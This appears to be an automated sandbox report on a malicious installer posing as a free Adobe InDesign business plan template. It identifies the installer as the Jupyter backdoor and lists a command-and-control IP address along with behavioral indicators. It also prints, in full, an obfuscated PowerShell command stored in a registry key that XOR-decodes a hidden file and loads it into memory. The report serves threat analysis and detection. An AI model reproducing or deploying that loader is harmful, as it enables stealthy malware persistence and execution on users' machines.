Analysis
-
max time kernel
145s -
max time network
151s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
26-09-2021 14:41
Static task
static1
Behavioral task
behavioral1
Sample
Adobe-Indesign-Business-Plan-Template-Free.msi
Resource
win7-en-20210920
windows7_x64
0 signatures
0 seconds
General
Malware Config
Extracted
Family
jupyter
Version
SP-18
C2
http://188.241.83.61
Signatures
-
Jupyter Backdoor/Client Payload 1 IoCs
resource yara_rule behavioral2/memory/900-3620-0x0000000009A70000-0x0000000009A7B000-memory.dmp family_jupyter -
Blocklisted process makes network request 5 IoCs
flow pid Process 3 3128 msiexec.exe 5 3128 msiexec.exe 7 3128 msiexec.exe 9 3128 msiexec.exe 14 900 powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 772 MSI603C.tmp 932 MSI603C.tmp -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\MicroSOft\winDOWs\sTARt mENu\ProgRAMs\sTArtup\a96fb6f8b754c29c11d545ae7280e.Lnk powershell.exe -
Loads dropped DLL 12 IoCs
pid Process 3572 MsiExec.exe 3572 MsiExec.exe 932 MSI603C.tmp 932 MSI603C.tmp 932 MSI603C.tmp 932 MSI603C.tmp 932 MSI603C.tmp 932 MSI603C.tmp 932 MSI603C.tmp 932 MSI603C.tmp 932 MSI603C.tmp 932 MSI603C.tmp -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe -
Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\msqfmhydcbcainjnezy\shell\open\command powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\msqfmhydcbcainjnezy powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\msqfmhydcbcainjnezy\shell powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\msqfmhydcbcainjnezy\shell\open powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\msqfmhydcbcainjnezy\shell\open\command\ = "POWerShELl -wiNdowstylE HiDdeN -Ep byPAsS -COmMANd \"$a430d21fc7e4e5a384e68ec12d657='XjB8PD1eMFMoeV5ucnQqXjA8WUJAd3VnOz80TyRScyt4JU5tNyRzT3JpNz5TeU5SUm5qR2x6P3QpUXs8ayo5KDFueXNfKG4yKE99cXFuQ0B3dkxOQH05ZShAfSNBbEBVXnZ+QHxCTDZAdE1FMkB7KWp6Xk41QTFAfkVBckBzWWYjQFJOellAViRoJV5SSzEzQHs1SWxAclMqKkBVKlhtQHM1TyVAUllFb0BVZllNXlIxdGJAfjQtS0BxeGFpQFQjcSNeUiV0NEBgSW5mXk99YUFAfHYlWEBzeSNjXm5rZ20=';$aac234a2d4c4f3b635d4a3f5d61f8=[SyStem.Io.fILe]::reAdAllByTEs('C:\\Users\\Admin\\AppData\\Roaming\\micROSoft\\TtleNYgRILa\\YjUeXqdnfSZPD.sGDtylgLduvJV');foR($a5722f7abb246584cc4eb2637a436=0;$a5722f7abb246584cc4eb2637a436 -LT $aac234a2d4c4f3b635d4a3f5d61f8.couNT;){fOR($a227219ce164ea81bcf7b1c4a47ef=0;$a227219ce164ea81bcf7b1c4a47ef -Lt $a430d21fc7e4e5a384e68ec12d657.lenGTH;$a227219ce164ea81bcf7b1c4a47ef++){$aac234a2d4c4f3b635d4a3f5d61f8[$a5722f7abb246584cc4eb2637a436]=$aac234a2d4c4f3b635d4a3f5d61f8[$a5722f7abb246584cc4eb2637a436] -BxOr $a430d21fc7e4e5a384e68ec12d657[$a227219ce164ea81bcf7b1c4a47ef];$a5722f7abb246584cc4eb2637a436++;IF($a5722f7abb246584cc4eb2637a436 -GE $aac234a2d4c4f3b635d4a3f5d61f8.COUNt){$a227219ce164ea81bcf7b1c4a47ef=$a430d21fc7e4e5a384e68ec12d657.LENgTH}}};[sYSTem.rEFLectIOn.assEmBLY]::lOaD($aac234a2d4c4f3b635d4a3f5d61f8);[ab821408b424418fa94bb4d815b4e.ad0682a943e4859ef35309cc0a537]::a1f5abfa214411baa77e25f6ceaa6()\"" powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\.bqjlodwzitbksyjzlu powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\.bqjlodwzitbksyjzlu\ = "msqfmhydcbcainjnezy" powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe 900 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3128 msiexec.exe Token: SeIncreaseQuotaPrivilege 3128 msiexec.exe Token: SeSecurityPrivilege 3552 msiexec.exe Token: SeCreateTokenPrivilege 3128 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3128 msiexec.exe Token: SeLockMemoryPrivilege 3128 msiexec.exe Token: SeIncreaseQuotaPrivilege 3128 msiexec.exe Token: SeMachineAccountPrivilege 3128 msiexec.exe Token: SeTcbPrivilege 3128 msiexec.exe Token: SeSecurityPrivilege 3128 msiexec.exe Token: SeTakeOwnershipPrivilege 3128 msiexec.exe Token: SeLoadDriverPrivilege 3128 msiexec.exe Token: SeSystemProfilePrivilege 3128 msiexec.exe Token: SeSystemtimePrivilege 3128 msiexec.exe Token: SeProfSingleProcessPrivilege 3128 msiexec.exe Token: SeIncBasePriorityPrivilege 3128 msiexec.exe Token: SeCreatePagefilePrivilege 3128 msiexec.exe Token: SeCreatePermanentPrivilege 3128 msiexec.exe Token: SeBackupPrivilege 3128 msiexec.exe Token: SeRestorePrivilege 3128 msiexec.exe Token: SeShutdownPrivilege 3128 msiexec.exe Token: SeDebugPrivilege 3128 msiexec.exe Token: SeAuditPrivilege 3128 msiexec.exe Token: SeSystemEnvironmentPrivilege 3128 msiexec.exe Token: SeChangeNotifyPrivilege 3128 msiexec.exe Token: SeRemoteShutdownPrivilege 3128 msiexec.exe Token: SeUndockPrivilege 3128 msiexec.exe Token: SeSyncAgentPrivilege 3128 msiexec.exe Token: SeEnableDelegationPrivilege 3128 msiexec.exe Token: SeManageVolumePrivilege 3128 msiexec.exe Token: SeImpersonatePrivilege 3128 msiexec.exe Token: SeCreateGlobalPrivilege 3128 msiexec.exe Token: SeCreateTokenPrivilege 3128 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3128 msiexec.exe Token: SeLockMemoryPrivilege 3128 msiexec.exe Token: SeIncreaseQuotaPrivilege 3128 msiexec.exe Token: SeMachineAccountPrivilege 3128 msiexec.exe Token: SeTcbPrivilege 3128 msiexec.exe Token: SeSecurityPrivilege 3128 msiexec.exe Token: SeTakeOwnershipPrivilege 3128 msiexec.exe Token: SeLoadDriverPrivilege 3128 msiexec.exe Token: SeSystemProfilePrivilege 3128 msiexec.exe Token: SeSystemtimePrivilege 3128 msiexec.exe Token: SeProfSingleProcessPrivilege 3128 msiexec.exe Token: SeIncBasePriorityPrivilege 3128 msiexec.exe Token: SeCreatePagefilePrivilege 3128 msiexec.exe Token: SeCreatePermanentPrivilege 3128 msiexec.exe Token: SeBackupPrivilege 3128 msiexec.exe Token: SeRestorePrivilege 3128 msiexec.exe Token: SeShutdownPrivilege 3128 msiexec.exe Token: SeDebugPrivilege 3128 msiexec.exe Token: SeAuditPrivilege 3128 msiexec.exe Token: SeSystemEnvironmentPrivilege 3128 msiexec.exe Token: SeChangeNotifyPrivilege 3128 msiexec.exe Token: SeRemoteShutdownPrivilege 3128 msiexec.exe Token: SeUndockPrivilege 3128 msiexec.exe Token: SeSyncAgentPrivilege 3128 msiexec.exe Token: SeEnableDelegationPrivilege 3128 msiexec.exe Token: SeManageVolumePrivilege 3128 msiexec.exe Token: SeImpersonatePrivilege 3128 msiexec.exe Token: SeCreateGlobalPrivilege 3128 msiexec.exe Token: SeCreateTokenPrivilege 3128 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3128 msiexec.exe Token: SeLockMemoryPrivilege 3128 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3128 msiexec.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3552 wrote to memory of 3572 3552 msiexec.exe 70 PID 3552 wrote to memory of 3572 3552 msiexec.exe 70 PID 3552 wrote to memory of 3572 3552 msiexec.exe 70 PID 3128 wrote to memory of 772 3128 msiexec.exe 71 PID 3128 wrote to memory of 772 3128 msiexec.exe 71 PID 3128 wrote to memory of 772 3128 msiexec.exe 71 PID 3572 wrote to memory of 900 3572 MsiExec.exe 72 PID 3572 wrote to memory of 900 3572 MsiExec.exe 72 PID 3572 wrote to memory of 900 3572 MsiExec.exe 72 PID 772 wrote to memory of 932 772 MSI603C.tmp 74 PID 772 wrote to memory of 932 772 MSI603C.tmp 74 PID 772 wrote to memory of 932 772 MSI603C.tmp 74
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Adobe-Indesign-Business-Plan-Template-Free.msi1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3128 -
C:\Users\Admin\AppData\Local\Temp\MSI603C.tmp"C:\Users\Admin\AppData\Local\Temp\MSI603C.tmp"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\Temp\{83CE1938-E175-4618-917B-EDAC6D620417}\.cr\MSI603C.tmp"C:\Windows\Temp\{83CE1938-E175-4618-917B-EDAC6D620417}\.cr\MSI603C.tmp" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\MSI603C.tmp" -burn.filehandle.attached=600 -burn.filehandle.self=5963⤵
- Executes dropped EXE
- Loads dropped DLL
PID:932
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4AB555D5230267013CD3A4E9B9EA34E0 C2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3572 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe-NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss60EA.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi60B8.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr60B9.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr60BA.txt" -propSep " :<->: " -testPrefix "_testValue."3⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:900
-
-